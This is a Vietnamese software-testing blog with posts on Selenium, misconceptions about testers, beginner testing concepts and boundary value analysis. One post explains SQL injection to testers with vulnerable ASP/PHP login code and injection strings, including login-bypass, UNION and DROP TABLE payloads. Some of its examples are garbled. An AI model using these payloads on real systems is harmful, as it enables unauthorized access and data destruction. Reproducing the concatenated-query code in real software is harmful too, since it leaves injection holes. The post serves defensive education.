Thứ Ba, 18 tháng 11, 2014

Giới thiệu Selenium

tim-hieu-cong-cu-selenium-ide

I. Đôi nét về công cụ kiểm thử tự động Selenium
Selenium là một tập hợp mạnh mẽ của các công cụ hỗ trợ phát triển nhanh chóng của các thử nghiệm tự động hóa cho các ứng dụng dựa trên web.Selenium cung cấp một tập phong phú của các thử nghiệm chức năng đặc biệt hướng đến các nhu cầu của các thử nghiệm của một ứng dụng web. Các hoạt động này là rất linh hoạt, cho phép nhiều tùy chọn cho vị trí các thành phần UI và so sánh kết quả thử nghiệm dự kiến sẽ chống lại hành vi ứng dụng thực tế.

Selenium - nói 1 cách đơn giản là công cụ automator tất cả các thao tác của con người trên browser. Bạn có thể giả lập 1 set các action, VD như: <User bật browser lên, đăng nhập hệ thống bằng tài khoản username, password, user đi theo link route link1 - link2 - link3 - link4,,,
Selenium có 2 cách dùng: Selenium Server và Selenium WebDriver. Hiện nay trên firefox đã có plugin Selenium IDE, bạn có thể record lại các hành động của mình và export ra test code in Python, Ruby, C# hoặc Java. Selenium test code chạy ở chế độ bình thường sẽ tự động bật browser của bạn lên và hành động y hệt các thao tác bạn làm trước đó.
II. Phân loại Selenium
Selenium gồm có ba công cụ chính. Mỗi có một vai trò cụ thể trong việc hỗ trợ sự phát triển của tự động hóa kiểm tra ứng dụng web
1. Selenium-IDE
Selen-IDE là môi trường phát triển tích hợp cho việc xây dựng trường hợp thử nghiệm Selenium. Nó hoạt động như một trình duyệt Firefox add-on và cung cấp một giao diện dễ sử dụng để phát triển và chạy trường hợp kiểm thử cá nhân, bộ kiểm tra toàn bộ. Selenium-IDE có một tính năng ghi lại, sẽ giữ tài khoản của người sử dụng khi chúng được thực hiện và lưu trữ chúng như là một kịch bản tái sử dụng để phát sử dụng. Nó cũng có một menu ngữ cảnh (nhấn chuột phải) tích hợp với trình duyệt Firefox, cho phép người dùng chọn từ một danh sách xác nhận và xác minh cho các vị trí đã chọn. Selenium-IDE cũng cung cấp chỉnh sửa đầy đủ các trường hợp thử nghiệm cho chính xác hơn và kiểm soát.
Mặc dù Selen-IDE chỉ là một Firefox add-on, các kiểm thử tạo ra trong nó cũng có thể được chạy cho các trình duyệt khác bằng cách sử dụng Selenium-RC và chỉ định tên của bộ ứng dụng thử nghiệm trên dòng lệnh.
2. Selenium-RC (Remote Control)
Selen-RC cho phép các nhà phát triển tự động hóa kiểm tra sử dụng một ngôn ngữ lập trình cho tính linh hoạt tối đa và mở rộng trong việc phát triển logic thử nghiệm. Ví dụ, nếu trình ứng dụng trả về một tập kết quả của việc kiểm tra, và nếu chương trình thử nghiệm tự động cần chạy thử nghiệm trên mỗi phần tử trong tập hợp kết quả, hỗ trợ lặp đi lặp lại các ngôn ngữ lập trình có thể được sử dụng để chuyển đổi thông qua việc tập hợp kết quả, kêu gọi Selenium lệnh chạy thử nghiệm trên mỗi mục.
Selen-RC cung cấp một API (Application Programming Interface) và thư viện cho mỗi ngôn ngữ được hỗ trợ: HTML, Java, C #, Perl, PHP, Python, và Ruby. Khả năng sử dụng Selen-RC với một ngôn ngữ lập trình bậc cao để phát triển các trường hợp thử nghiệm cũng cho phép thử nghiệm tự động được tích hợp với một dự án xây dựng môi trường tự động.
3. Selenium - Webdriver (Selenium-Webdiver và Selenium RC là thư viện cho phép lập trình (scripting) test script trên các ngôn ngữ khác nhau.


4 Ngộ nhận sai lầm về Tester


Kiểm thử phần mềm (KTPM) và đặc biệt là thị trường dịch vụ KTPM trong khoảng 5 năm qua đã có những chuyển biến rất tích cực tại Việt Nam.
Theo ước tính thì thị trường nhân lực KTPM ở Việt Nam cho tới năm 2020 sẽ cần thêm khoảng trên dưới 10,000 chuyên viên kiểm thử (Tester), trong đó khoảng 50% là chuyên viên KTPM cao cấp trở lên.
Dưới đây là bốn ngộ nhận phổ biến trong cách nhìn nhận về ngành KTPM.
1. Ai cũng có thể làm KTPM thậm chí không cần phải qua đào tạo
Những kiến thức cơ bản về KTPM như đọc/hiểu yêu cầu của ứng dụng; lập kế hoạch và chiến lược kiểm thử; kỹ thuật phân tích thiết kế test cases dựa trên yêu cầu của phần mềm và các quy trình cơ bản để thực thi kiểm thử.
Tuy nhiên đó mới chỉ là những kiến thức cơ bản nhất để bạn có thể bước đi trên con đường nghề nghiệp này.
Thực tế không ít công ty thậm chí còn không có giai đoạn đào tạo cơ bản này. Họ sẽ giao việc cho Tester ngay sau khi cung cấp những thông tin về dự án và sản phẩm đang được phát triển. Tester sẽ phải tự học và nhiều người đã có thể kiếm ra được kha khá lỗi bằng cách làm như vậy.
Điều này tạo nên ngộ nhận là công việc KTPM khá dễ, ai cũng có thể làm được và có thể trở thành chuyên gia.
Thực tế thì khoảng cách về kỹ năng và hiệu quả công việc giữa Tester làm được việc và Tester xuất sắc là khá lớn.
Kiểm thử phần mềm đòi hỏi những kỹ năng chuyên môn mà không phải ai cũng có thể sở hữu hoặc trang bị trong một sớm một chiều. Sự đam mê công nghệ, mong muốn đóng góp để cho ra đời một sản phẩm phần mềm với chất lượng hoàn hảo, khả năng tư duy sáng tạo, quan sát, trình bày, phân tích và lập trình v.v là những kỹ năng cốt yếu để một Tester có thể làm tốt công việc.
-------------------------------------------------------------------------------
2. Công việc KTPM không đòi hỏi kỹ năng lập trình
Không ít người nghĩ rằng KTPM được thực hiện theo kiểu thủ công (manual testing hay kiểm thử bằng tay). Như vậy thì những kiến thức như phân tích thiết kế, lập trình, cơ sở dữ liệu, quản lý dự án v.v. được học trong mấy năm ĐH sẽ bị mai một.
Trên thực tế, kiến thức và kỹ năng bạn trang bị trong những năm ĐH sẽ giúp bạn trau dồi khả năng tư duy, phân tích để giải quyết vấn đề trong lĩnh vực CNTT.
Cho dù bạn chọn lựa trở thành lập trình viên (Developer), người phân tích yêu cầu (Business Analyst) hoặc kiểm thử viên (Tester) thì đó là những kiến thức nền tảng để tiếp cận được công việc trong 1 dự án phát triển phần mềm.
Hiên nay, công việc KTPM đòi hỏi Tester phải làm nhiều việc hơn so với trước đây.
Ngoài việc kiểm thử các chức năng (functional testing), họ còn phải ít nhiều biết làm kiểm thử tự động (automation testing) và kiểm thử hiệu năng (performance testing) cho sản phẩm.
Một người Tester ngày nay sẽ cần phải tìm hiểu và xây dựng giải pháp/công cụ phục vụ kiểm thử tự động/hiệu năng. Để đánh giá được công cụ nào “ngon, bổ, rẻ” đòi hỏi người Tester phải nắm vững kỹ thuật, phải biết lập trình để xây dựng thêm tính năng cho phù hợp với nhu cầu dự án. Cho công việc này, ngoài việc đòi hỏi kỹ năng lập trình như phân tích thiết kế, ngôn ngữ lập trình Java, .NET v.v nó còn đòi hỏi sự tập trung cao độ cho chất lượng. Vì bạn đang phát triển giải pháp nhằm được sử dụng để kiểm tra một sản phẩm phần mềm khác.
-------------------------------------------------------------------------------
3. Công việc KTPM không đòi hỏi nhiều khả năng phân tích, sáng tạo
Thống kê cho thấy nếu chỉ dựa vào tài liệu về yêu cầu của ứng dụng (requirements) để tiến hành việc kiểm thử (cho dù các tài liệu này được viết ở mức tốt nhất có thể) thì kết quả cũng chỉ có thể kiếm được khoảng 70% những lỗi có thể xảy ra của ứng dụng.
Trách nhiệm của Tester là làm sao phát hiện thêm được càng nhiều càng tốt, trong số 30% lỗi còn lại.
Họ phải phân tích xem với công nghệ và phương pháp cài đặt hiện tại có những rủi ro gì về chất lượng.
Họ phải vượt ra khỏi các suy nghĩ thông thường (“think out-of-the-box”) về môi trường người dùng cuối; về những kịch bản sử dụng ứng dụng có thể dẫn đến những vấn đề không mong muốn; về những rủi ro khi phần mềm này tương tác với những phần mềm khác v.v. Hơn nữa, một sản phẩm phần mềm có thể được phát triển bằng công nghệ mới nhất, có nhiều tính năng và rất ít lỗi, nhưng lại không giúp người dùng giải quyết một cách hiệu quả các vấn đề của người dùng trong công việc của họ thì đó vẫn là sản phẩm kém chất lượng. Tester thời hiện đại cần tham gia rất sớm vào dự án phát triển phần mềm mà không làm nhiều việc liên quan tới “kiểm thử” trong thời gian khởi đầu dự án.
Trong giai đoạn này, họ sẽ cùng làm việc với nhóm phát triển phân tích, đánh giá yêu cầu, phân tích các sản phẩm tương tự và đưa ra những đề xuất để cải thiện tính năng của sản phẩm mà cả nhóm đang cùng thực hiện. Thông qua việc đánh giá công nghệ, kiến trúc họ sẽ phải xác định các rủi ro về chất lượng (quality), bảo mật (security), hiệu năng (performance), tính dễ sử dụng (usability) v.v. Khi nhóm phát triển bắt đầu cài đặt là lúc họ lập ra chiến lược kiểm thử, chuẩn bị môi trường sao cho càng giống với môi trường thật càng tốt, nghiên cứu công cụ v.v . Thực tế có tương đối ít công cụ giúp bạn làm tốt những việc này. Vậy nên khả năng phân tích càng tốt và tính sáng tạo càng cao thì công việc của bạn sẽ càng hiệu quả và lý thú.
--------------------------------------------------------------------------------
4. Công việc KTPM không có nhiều thử thách và cơ hội phát triển nghề nghiệp
Một công ty đưa ra sản phẩm hoặc dịch vụ phần mềm sẽ ít có cơ hội sửa sai nếu như sản phẩm hoặc dịch vụ đó không đáp ứng được nhu cầu của người dùng. Điều này đặt một gánh nặng rất lớn lên đội ngũ phát triển phần mềm nói chung và Tester nói riêng.
Cụ thể hơn là chất lượng công việc phải cao hơn; thời gian dành cho kiểm thử ít đi; kiểm thử sẽ phải được thực hiện trên nhiều môi trường và tình huống khác nhau; Tester sẽ phải toàn diện hơn để có thể đảm nhận nhiều loại công việc khác nhau trong từng giai đoạn của dự án v.v. Điều này đòi hỏi Tester phải tận dụng cơ hội và thời gian nhàn rỗi để trau dồi thêm kiến thức, kỹ năng nhằm chuẩn bị cho những thử thách sắp tới hơn là chỉ “đóng khung” trong công việc của dự án hiện tại.
Với đà phát triển của CNTT và tầm quan trọng ngày càng tăng của sản phẩm phần mềm trong công việc và cuộc sống, KTPM càng ngày càng trở nên quan trọng và có thể thấy được điều này thông qua sự phát triển quy mô nhanh chóng của những công ty chuyên cung cấp dịch vụ KTPM tại Việt Nam trong thời gian qua.
Tester bây giờ có nhiều chọn lựa hơn trong công việc, ví dụ như trở thành chuyên gia tư vấn hoặc chuyên gia kỹ thuật cho KTPM. Và bạn chắc chắn sẽ luôn có cơ hội để trở thành chuyên gia hay nhà quản lý cấp cao trong công ty.
Trích: Tester Today

Tìm hiểu cơ chế SQL injection tester nên biết

tan-cong-sql-injection

Những lỗi sơ hở trong quá trình build ứng dụng web/ phần mềm, hacker sử dụng lỗi này để lạm dụng các câu truy vấn sql bất hợp pháp để tấn công vào web ứng dụng của chúng ta.

Sẽ hơi mơ hồ nếu như không đi từ lý thuyết thì rất khó hiểu bởi vậy ta đi từ lý thuyết kèm ví dụ minh họa nha.
Sql injection: Bạn học môn hệ quản trị cơ sở dữ liệu sql server, oracle, DB2, mongo,... biết được cú pháp, thao tác select , from, having, group by, where, inner join... thao tác các bảng dữ liệu vớinhau
Sql injection là kỹ thuật cho phép hacker lợi dụng chỗ sơ hở trong việc kiểm tra dữ liệu đầu vào ở ứng dụng web và các notification của hệ quản trị CSDL trả về để inject và thi hành các câu lệnh SQL bất hợp pháp bằng các thao tác delete, insert, update,...
chúng ta hãy để ý đến những lỗi cơ bản thường gặp dưới đây:

1. Không kiểm tra kí tự thoát truy vấn:
Sql injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào trong câu truy vấn SQL. Kết quả là người dùng cuối có thể thực hiện 1 số truy vấn không mong muốn với CSDL:

statement = "SELECT * FROM users
WHERE name = '" + userName+ "' ;"

>>> Câu lệnh trên truy vấn thuôc tính name từ bảng users. Tuy nhiên, nếu biến "userName" được nhập chính xác theo 1 cách nào đó thì người dùng ác ý có thể nhập vào giá trị của biến userName như sau:

" SELECT * FROM users
WHERE name = 'a' OR 't' = 't';"

Đoạn mã trên được sử dụng trong 1 thủ tục xác thực thì VD trên có thể được sử dụng để bắt buộc lựa chọn 1 tên người dùng hợp lệ bới ' t' = 't' luôn đúng. Trong khi hầu hết các SQL server cho phép thực hiện nhiều truy vấn cùng lúc chỉ với 1 lần gọi, nhưng 1 số SQL API mysql_query của PHP lại không cho phép làm điều đó vì lý do bảo mật. Điều này chỉ ngăn cản tin tặc tấn công bằng những câu lệnh riêng rẽ mà không ngăn cản tin tặc tấn công bằng việc thay đổi cú pháp truy vấn.
Ở ví dụ trên cho thấy các giá trị của biến userName sẽ gây ra việc xóa thông tin người dùng từ bảng users cũng tương tự từ việc xóa tất cả dữ liệu từ bảng dữ liệu ( bản chất là tiết lộ thông tin người dùng) . Minh hoạ cụ thể bằng câu truy vấn dưới đây để hiểu rõ được bản chất hơn:

" DROP TABLE users;
 SELECT * FROM data
 WHERE 't' = 't'

Tổng hợp lại toàn bộ câu truy vấn như sau:

DROP TABLE users
SELECT * FROM data 
WHERE 't' = 't';

Như vậy là tin tặc lợi dụng lỗi sơ hở cú pháp truy vấn trên để chỉ việc thay đổi thêm bớt vài lệnh truy vần truyền vào là có thể xâm nhập được hệ thống của chúng ta 1 cách dễ dàng.

Điều thứ 2 liên quan tới SQL injection đó là Xử lý không đúng kiểu.

Do coder định nghĩa dữ liệu đầu vào không rõ ràng hoặc thiếu bước kiểm tra và lọc kiểu dữ liệu đầu vào (ví dụ kiểm tra dữ liệu nhập vào từ user là kiểu số hay chuỗi

state = "SELECT * FROM data WHERE id = "+ a_variable +" ;"

Lệnh state trên cho chúng ta biết rằng cho người dùng nhập vào id dạng số nhưng lại không kiểm tra kiểu nhập vào nên người dùng thay vì nhập số mà nhập vào 1 chuỗi string.
Điều thứ 3 xảy ra là lỗi bảo mật bên trong máy chủ CSDL

Đôi khi lỗ hổng bảo mật nằm ngay chính máy chủ CSDL, VD hàm mysql_real_escape_string() 
hacker có thể thực hiện cuộc tấn công SQL injection thành công dựa trên những ký tự unicode không thông thường ,

lấy 1 sồ VD minh hoạ

$user ="<div> user </div>
$password = "<div> password</div>
 $query = sprintf( "SELECT * FROM users 
WHERE username ='%s' AND password = '%s'")
mysql_real_escape_string($username)
mysql_real_escape_string($password)
echo $query;

 Kết quả in ra sẽ là:
SELECT * FROM users WHERE user = ' ' AND password = ' '

Tiếp đến 1 trường hợp nữa tại form đăng nhập, người dùng nhập tên đăng nhập mà không cần đúng mật khẩu
<?php
$query = "SELECT * FROM users
WHERE username = '{$_POST['username']}' AND password = '{$_POST['password']}'";
mysql_query($query);
$_POST['username'] = ' your's name';
$_POST['password'] = " OR "=";
echo $query;
?>

Câu  lệnh truyền lên server sẽ là:

SELECT * FROM users WHERE username = 'yours name' AND password = " OR "=" 

4. Điều thứ 4 xảy ra là Blind SQL injection
Lỗi SQL injection dạng Blind SQL injection xảy ra ngay trong ứng dụng web, hậu quả của chúng  không hiển thị trực quan cho những kẻ tấn công. Nó có thể gây ra sự sai khác khi hiển thị  nội dung của 1 trang chứa lỗi bảo mật này. Hậu quả của sự tấn công SQL injection dạng Blind SQL injection này khiến cho coder phải mất nhiều time để phục hồi chính xác từng bit dữ liệu. Những kẻ tấn công còn sử dụng 1 số tool tìm dò lỗi và tấn công với những thông tin đã thiết lập sẵn
 Còn rất nhiều các dạng tấn công khác xảy ra khi mà hacker sử dụng kỹ thuật SQL injection và lỗi sơ hở trong các câu truy vấn để đột nhập lấy cắp dữ liệu

Update thêm các dạng tấn công thường gặp với ứng dụng web
1.    Dạng tấn công vượt qua kiểm tra lúc đăng nhập

Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web. Thông thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp. Ví dụ, trong trường hợp sử dụng ASP, người ta có thể dùng 2 trang: 1 trang HTML để hiển thị Form nhập liệu và 1 trang ASP để xử lý thông tin nhập vào từ phía người dùng như sau:

- Trang nhập liệu: login.htm 
<form action="ExecLogin.asp" method="post"> 
  Username:  <input type="text" name="fUSRNAME"><br /> 
  Password:  <input type="password" name="fPASSWORD"><br /> 
  <input type="submit"> 
</form>
- Trang xử lý nhập liệu: execlogin.asp
<%
Dim vUsrName, vPassword, objRS, strSQL
vUsrName = Request.Form("fUSRNAME")
vPassword = Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS("USR_NAME")
End If
Set objRS = Nothing %>
Chỗ sơ hở trong đoạn mã xử lý nhập liệu trên nằm ở chỗ dữ liệu nhập vào từ người dùng được dùng để xây dựng trực tiếp câu lệnh SQL. Chính điều này cho phép tin tặc có thể điều khiển câu truy vấn sẽ được thực hiện. Ví dụ, nếu người dùng nhập chuỗi trong ngoặc sau vào trong cả 2 ô nhập liệu username/password của trang login.htm là:('OR='). Lúc này, câu truy vấn sẽ được gọi thực hiện là:

SELECT * FROM T_USERS WHERE USR_NAME =''OR''='' AND USR_PASSWORD= ''OR''=''
Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ.
2.    Dạng tấn công sử dụng câu lệnh SELECT

Dạng tấn công này phức tạp hơn
 Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công. Ví dụ, trong các trang tìm kiếm. Các trang này cho phép người dùng nhập vào các thông tin tìm kiếm như Họ, Tên, … Đoạn mã thường gặp là:

    <%
    Dim vAuthorName, objRS, strSQL
    vAuthorName = Request("fAUTHOR_NAME")
    strSQL = "SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME =' " & _ vAuthorName & " ' "
    Set objRS = Server.CreateObject("ADODB.Recordset")
    objRS.Open strSQL, "DSN=..."
    …
    Set objRS = Nothing %> 
Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập vào trường tên tác giả bằng chuỗi giá trị:

' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*)
Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa. Giả sử đoạn mã nhập vào là:

' DROP TABLE T_AUTHORS --
Câu truy vấn sẽ thực hiện việc xóa bảng.
3.    Dạng tấn công sử dụng câu lệnh INSERT
Ví dụ điển hình nhất ở thao tác đăng ký thông tin người dùng, sau khi đăng ký thành công, người dùng có thể xem thông tin của mình. Ngay lúc này SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào. Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng:

    INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three')
Nếu đoạn mã xây dựng câu lệnh SQL có dạng:

<%
    strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " _ & strValueTwo & " ', ' " & strValueThree & " ') "
    Set objRS = Server.CreateObject("ADODB.Recordset")
    objRS.Open strSQL, "DSN=..."
    …
    Set objRS = Nothing %> 
Thì chắc chắn sẽ bị lỗi SQLi, bởi vì nếu ta nhập vào trường thứ nhất ví dụ như:

    ' + (SELECT TOP 1 FieldName FROM TableName) + '
Lúc này câu truy vấn sẽ là:

    INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def')
Khi đó, lúc thực hiện lệnh xem thông tin, xem như bạn đã yêu cầu thực hiện thêm một lệnh nữa đó là:

 SELECT TOP 1 FieldName FROM TableName 

Trên đây là cơ bản về kỹ thuật SQL injection, là tester chúng ta ít nhiều nên biết về kỹ thuật này để trau dồi kinh nghiệm test cho mình J


Bài viết trên tham khảo tại wiki và 1 số trang công nghệ khác. Bạn đọc thấy thiếu sót chỗ nào phản hồi góp ý với mình nha. Thanks for reading!

Câu hỏi thường gặp khi phỏng vấn tester

Kiến thức kiểm thử phần mềm cho người mới bắt đầu

Kiểm thử là một thành phần chính của phát triển phần mềm để đảm bảo độ tin cậy và chất lượng của phần mềm. Lĩnh vực này rất rộng lớn với rất nhiều cơ hội cho cả kỹ sư kiểm thử có và chưa có kinh nghiệm. Để trở thành một kỹ sư kiểm thử bạn nên thành thạo với các khái niệm và thuật ngữ khác nhau của kiểm thử. Bên cạnh đó, bạn cần phải có kỹ năng nhất định và kiên trì để thành công trong lĩnh vực này. Dưới đây là một số trong những khía cạnh quan trọng của kiểm thử phần mềm cho người mới bắt đầu.
hoc-kiem-thu-phan-mem

Trước khi bạn “thí mạng” vào nghề kiểm thử phần mềm.

Đối với những người có một nền tảng về lĩnh vực CNTT, không có nhiều khó khăn vì bạn đã biết
các thuật ngữ kỹ thuật và các thuật ngữ khác nhau, mặc dù sẽ là tốt hơn nếu bạn có thể tham gia một khóa học về kiểm thử phần mềm để có được một kiến thức chuyên sâu về các khái niệm. Tuy nhiên, những người không có một nền tảng kỹ thuật vững chắc, thực sự có thể khá khó khăn cho họ để hiểu những thuật ngữ có liên quan.
Lĩnh vực khoa học máy tính và công nghệ phần mềm là rất lớn, bạn phải đi qua những điều cơ bản để giúp bạn bắt đầu. Tìm hiểu về các thuật ngữ khác nhau được sử dụng trong công nghệ phần mềm và các lĩnh vực lập trình. Làm quen với thuật ngữ kỹ thuật khác nhau như, phần mềm, hướng dẫn, chương trình, thực thi, lỗi, phát triển và chu kỳ thử nghiệm.v.v sẽ giúp bạn có được đủ động lực để làm việc trong lĩnh vực kiểm thử. Bạn cũng sẽ nhận được một tổng quan về các phương pháp phát triển khác nhau như mô hình thác nước, mô hình xoắn ốc .v.v
Sau khi bạn hoàn thành bước đầu tiên, bắt đầu đọc một số cuốn sách về các khái niệm khác nhau và các nguyên tắc cơ bản của thủ tục kiểm thử và làm thế nào để đưa chúng vào thực tế. Hiểu các loại kiểm thử, chiến lược, phương pháp .v.v Mặc dù hầu hết các định nghĩa / thuật ngữ rất đơn giản và khá dễ dàng để giải thích, bạn nên cố gắng tạo ra một thư mục định nghĩa nhỏ, nó sẽ có ích cho bạn bất cứ lúc nào bạn cần. Việc tham gia vào một lớp đào tạo bài bản sẽ giúp bạn có được một sự hiểu biết tốt hơn về các phương pháp kiểm thử. Bạn sẽ có đủ kiến thức để có thể được thăng tiến nhanh trong lĩnh vực kiểm thử phần mềm.

Tổng quan về kiểm thử phần mềm

Là một kỹ sư kiểm thử phần mềm, bạn cần phải thiết kế trường hợp kiểm thử, các kịch bản và thực hiện chúng để đánh giá kết quả của những phương pháp kiểm thử khác nhau. Bạn cần phải biết trường hợp kiểm thử là gì, mục tiêu của kiểm thử, các phương pháp kiểm thử, mức độ kiểm thử, và các phương pháp tiếp cận… Chúng ta hãy cố gắng hiểu từng khái niệm một.
Mục tiêu (objective): Để kiểm tra xem phần mềm đáp ứng nhu cầu của khách hàng và phù hợp với các đặc tả và đảm bảo chất lượng và tính chính xác của ứng dụng.
Phương pháp kiểm thử (Testing Methods): Có hai phương pháp phổ biến của kiểm thử phần mềm – kiểm tra hộp trắng và kiểm tra hộp đen. Trong kiểm thử hộp màu trắng, cấu trúc mã hoặc thuật toán của chương trình được đưa vào xem xét. Các trường hợp kiểm thử được thiết kế dựa vào cấu trúc mã hoặc cách thức làm việc của chương trình, trong khi đó kiểm thử hộp đen không yêu cầu kỹ sư kiểm thử cần phải có bất kỳ kiến thức về mã hoặc thuật toán của chương trình. Nó kiểm tra các chức năng của hệ thống tức là những gì hệ thống được cho là cần phải làm dựa trên các đặc tả. Các trường hợp kiểm thử thường được xây dựng xung quanh đó.
Mức độ kiểm thử (Testing Levels): được phân loại thành ba loại: kiểm thử đơn vị (unit testing), kiểm thử tích hợp (integration testing) và kiểm thử hệ thống (system testing). Trong kiểm thử đơn vị các đơn vị khác nhau hoặc các thành phần của ứng dụng đang được kiểm thử để kiểm tra các chức năng của các đoạn mã. Trong kiểm thử tích hợp, việc kiểm thử được thực hiện bằng cách tích hợp các mô-đun khác nhau, trong khi đó trong kiểm thử hệ thống toàn bộ hệ thống được kiểm thử cả về chức năng và yêu cầu hệ thống để kiểm tra hành vi của hệ thống ở các cấp độ khác nhau.
Phương pháp tiếp cận kiểm thử  (Testing Approach): Nó có hai loại, phương pháp tiếp cận từ trên xuống và từ dưới lên. Trong phương pháp tiếp cận từ trên xuống, các thành phần cấp cao nhất được kiểm thử đầu tiên đi xa hơn xuống các cấp thấp hơn, trong khi ở dưới lên tiếp cận các thành phần thấp nhất được thử nghiệm đầu tiên tiến dần tới mức cao hơn
Trường hợp kiểm thử (Test Case): Một trường hợp kiểm thử là một tập hợp các điều kiện được sử dụng để xác định xem một ứng dụng đang làm việc tốt hay không. Trường hợp kiểm thử có thể là tích cực hay tiêu cực. Trường hợp kiểm thử tích cực được thiết kế để kiểm tra xem ứng dụng có hoạt động như cách mà nó được dự kiến sẽ hoạt động hay không, trong khi các trường hợp kiểm thử tiêu cực được thiết kế để kiểm tra cách hệ thống phản ứng với chuỗi bất thường của các hành động hoặc giá trị bất ngờ. Một yêu cầu kiểm thử trong một ứng dụng phải có ít nhất hai trường hợp kiểm thử nghiệm – một tích cực và một tiêu cực.

Làm thế nào để trở thành một kỹ sư kiểm thử giỏi

  • Mở rộng kiến thức và sự hiểu biết của bạn về lĩnh vực này, chiều sâu tư duy và sáng tạo.
  • Đảm bảo rằng tất cả các vấn đề được xác định và xử lý trong giai đoạn đầu để tiết kiệm thời gian.
  • Phát triển kỹ năng phân tích và kỹ thuật của bạn, và cố gắng tìm hiểu những mẹo và thủ thuật mới giúp bạn nổi bật trong đám đông.
  • Kiểm tra các hệ thống để tìm ra càng nhiều lỗi, cho kết quả tốt nhất. Cải tiến quy trình bằng cách đưa ra các đề xuất.
  • Bạn cần phải có kỹ năng ngoại giao tuyệt vời và duy trì tốt các mối quan hệ với các kỹ sư lập trình. Mục đích chính là để phát triển một sản phẩm chất lượng.
  • Tìm kiếm lỗi trong một hệ thống đòi hỏi phải có sự tò mò, một con mắt phê phán, giao tiếp tốt với đội ngũ phát triển, và kinh nghiệm.
  • Nếu công việc không chạy, khắc phục sự cố để tìm hiểu lý do. Điều này sẽ phát triển sự tự tin của bạn và giúp bạn tiến về phía trước trong sự nghiệp của bạn.
  • Phát triển kỹ năng giao tiếp của bạn và lịch thiệp. Báo cáo các lỗi cho kỹ sư lập trình một cách xây dựng.
  • Học cách làm việc độc lập. Điều này sẽ giúp bạn có hiệu quả hơn trong việc phát hiện lỗi.
  • Hãy tổ chức và duy trì các tập tin và tài liệu của bạn để ghi lại những phát hiện của bạn.
  • Cập nhật những công cụ kiểm thử và kỹ thuật mới nhất.
  • Học từ những sai lầm của bạn để bạn không lặp lại chúng trong tương lai.

Mẹo và thủ thuật cho các bạn mới bắt đầu

  • Bạn cần phải nắm rõ các đặc tả trước khi bạn bắt đầu kiểm thử.
  • Đừng kiểm thử một hệ thống mà bạn không biết các yêu cầu. Lý do đơn giản là- bạn không biết những gì cần phải có trong hệ thống và những gì không nên có!
  • Nếu bạn thực sự cần kiểm thử một hệ thống mà bạn không có các yêu cầu, bạn hãy sử dụng monkey testing. Bạn không biết gì về hệ thống! Vì vậy, bất cứ điều gì bạn nghĩ một cách hợp lý có thể là một lỗi tiềm năng trong hệ thống, bạn có thể báo cáo.
  • Bạn cần phải biết yêu cầu về phần mềm và phần cứng của ứng dụng mà bạn đang làm việc.
  • Đừng phỏng đoán bất cứ điều gì trong khi kiểm thử một ứng dụng cụ thể.
  • Thực hiện theo các chuẩn mực của công ty bạn về các công cụ và thủ tục kiểm thử, bảo trì tập tin, tài liệu, .v.v
  • Kiểm tra các ứng dụng theo quan điểm của khách hàng.
  • Việc kiểm thử một hệ thống một cách toàn bộ / hoàn toàn là không thể vì các yêu cầu có thể bị thay đổi bất cứ lúc nào.

Có cần thiết phải tìm hiểu công cụ kiểm thử tự động?

Lĩnh vực kiểm thử phần mềm đang phát triển với một tốc độ ngày càng cao hơn. Mặc dù kiểm thử thủ công giúp tìm thấy lỗi tuy nhiên nó có thể tốn nhiều thời gian. Vì vậy, một kiến thức tốt về các công cụ kiểm thử tự động sẽ giúp bạn kiểm thử các ứng dụng nhanh hơn và đáng tin cậy hơn. Bạn càng biết về các công cụ kiểm thử tự động, cơ hội tốt hơn để bạn đánh dấu sự hiện diện của bạn trong ngành công nghiệp này hơn những người khác. Việc này cũng phụ thuộc vào loại dự án bạn đang làm việc. Nếu công việc của bạn đòi hỏi bạn phải hiểu và sử dụng một công cụ kiểm thử tự động, bạn sẽ phải tìm hiểu nó.
Kiểm thử phần mềm là một lĩnh vực rộng lớn với cơ hội nghề nghiệp phong phú. Tuy nhiên, biết khả năng, sở thích của bạn, và kỹ năng trước khi quyết định đi sâu vào trong lĩnh vực này.
Theo Nilesh Parekh (Buzzle)

Thứ Tư, 12 tháng 11, 2014

Phân tích giá trị biên (Bounary Value Analysis - BVA)

1. Phân tích giá trị biên (boundary value analysis - BVA) là kỹ thuật kiểm thử hàm phổ biến nhất
Mục tiêu của kiểm thử hàm là sử dung kiến thức về hàm để xác định các ca kiểm thử
Trước kia chủ yếu tập trung vào miền xác định, nhưng nay đã dựa trên cả miền giá trị của hàm để xác định ca kiểm thử

2. Phân tích giá trị biên (BVA):
Phân tích giá trị biên tập trung vào biên của miền xác định để xây dựng ca kiểm thử
